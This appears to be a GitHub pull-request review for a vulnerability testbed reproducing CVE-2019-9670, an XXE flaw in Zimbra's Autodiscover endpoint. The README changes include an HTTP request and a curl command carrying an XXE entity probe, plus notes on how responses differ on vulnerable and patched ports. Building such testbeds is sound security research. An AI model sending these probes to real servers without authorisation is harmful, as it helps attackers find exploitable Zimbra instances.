-
Notifications
You must be signed in to change notification settings - Fork 33
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Testbed for CVE-2019-9670 - Synacor Zimbra XXE #113
base: main
Are you sure you want to change the base?
Conversation
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Hello @LeonardoE95, thanks for your contribution!
The testbed is working, and the reproduction steps are clear. Please review the provided suggestions, and if they seem appropriate, feel free to apply them.
zimbra/CVE-2019-9670/README.md
Outdated
To test out the vulnerability, the following HTTP GET request can be used. | ||
|
||
Request | ||
|
||
``` | ||
POST /Autodiscover/Autodiscover.xml HTTP/1.1 | ||
Host: 127.0.0.1 | ||
Content-Type: application/xml | ||
Content-Length: 177 | ||
|
||
<!DOCTYPE foo [<!ELEMENT foo ANY> | ||
<!ENTITY xxe "Test"> ]> | ||
<Request> | ||
<EMailAddress>email</EMailAddress> | ||
<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema> | ||
</Request> | ||
``` |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Please provide a cURL command to easily reproduce the vulnerability without requiring an intercepting proxy
To test out the vulnerability, the following HTTP GET request can be used. | |
Request | |
``` | |
POST /Autodiscover/Autodiscover.xml HTTP/1.1 | |
Host: 127.0.0.1 | |
Content-Type: application/xml | |
Content-Length: 177 | |
<!DOCTYPE foo [<!ELEMENT foo ANY> | |
<!ENTITY xxe "Test"> ]> | |
<Request> | |
<EMailAddress>email</EMailAddress> | |
<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema> | |
</Request> | |
``` | |
## Reproduction Steps | |
To test out the vulnerability, the following curl command can be used: | |
``` | |
curl -k -X $'POST'\ | |
--data-binary $'<!DOCTYPE foo [<!ELEMENT foo ANY>\x0d\x0a<!ENTITY xxe \"Test\"> ]>\x0d\x0a<Request>\x0d\x0a<EMailAddress>email</EMailAddress>\x0d\x0a<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>\x0d\x0a</Request>' \ | |
$'https://{service-host}:{port}/Autodiscover/Autodiscover.xml' | |
``` | |
which will generate a POST request similar to the one reported below: | |
``` | |
POST /Autodiscover/Autodiscover.xml HTTP/1.1 | |
Content-Type: application/xml | |
Content-Length: 177 | |
<!DOCTYPE foo [<!ELEMENT foo ANY> | |
<!ENTITY xxe "Test"> ]> | |
<Request> | |
<EMailAddress>email</EMailAddress> | |
<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema> | |
</Request> | |
``` |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Useful feedback, thanks, added the curl command!
zimbra/CVE-2019-9670/README.md
Outdated
When sent to the vulnerable port (`8443`), the response will contain the string `Test`. | ||
|
||
Vulnerable Response |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
When sent to the vulnerable port (`8443`), the response will contain the string `Test`. | |
Vulnerable Response | |
### Vulnerable Response | |
When sent to the vulnerable instance on port `8443`, the response will contain the string `Test`, as shown in the example below: |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Updated
zimbra/CVE-2019-9670/README.md
Outdated
When sent to the non vulnerable port (`8500`), the response will not containg the string `Test`. | ||
|
||
Non Vulnerable Response |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
When sent to the non vulnerable port (`8500`), the response will not containg the string `Test`. | |
Non Vulnerable Response | |
### Non Vulnerable Response | |
When sent to the non vulnerable instance on port `8500`, the response will not contain the string `Test`, as shown in the example below: |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Updated
Hello there,
this PR contains the instructions required to setup a testbed for CVE-2019-9670.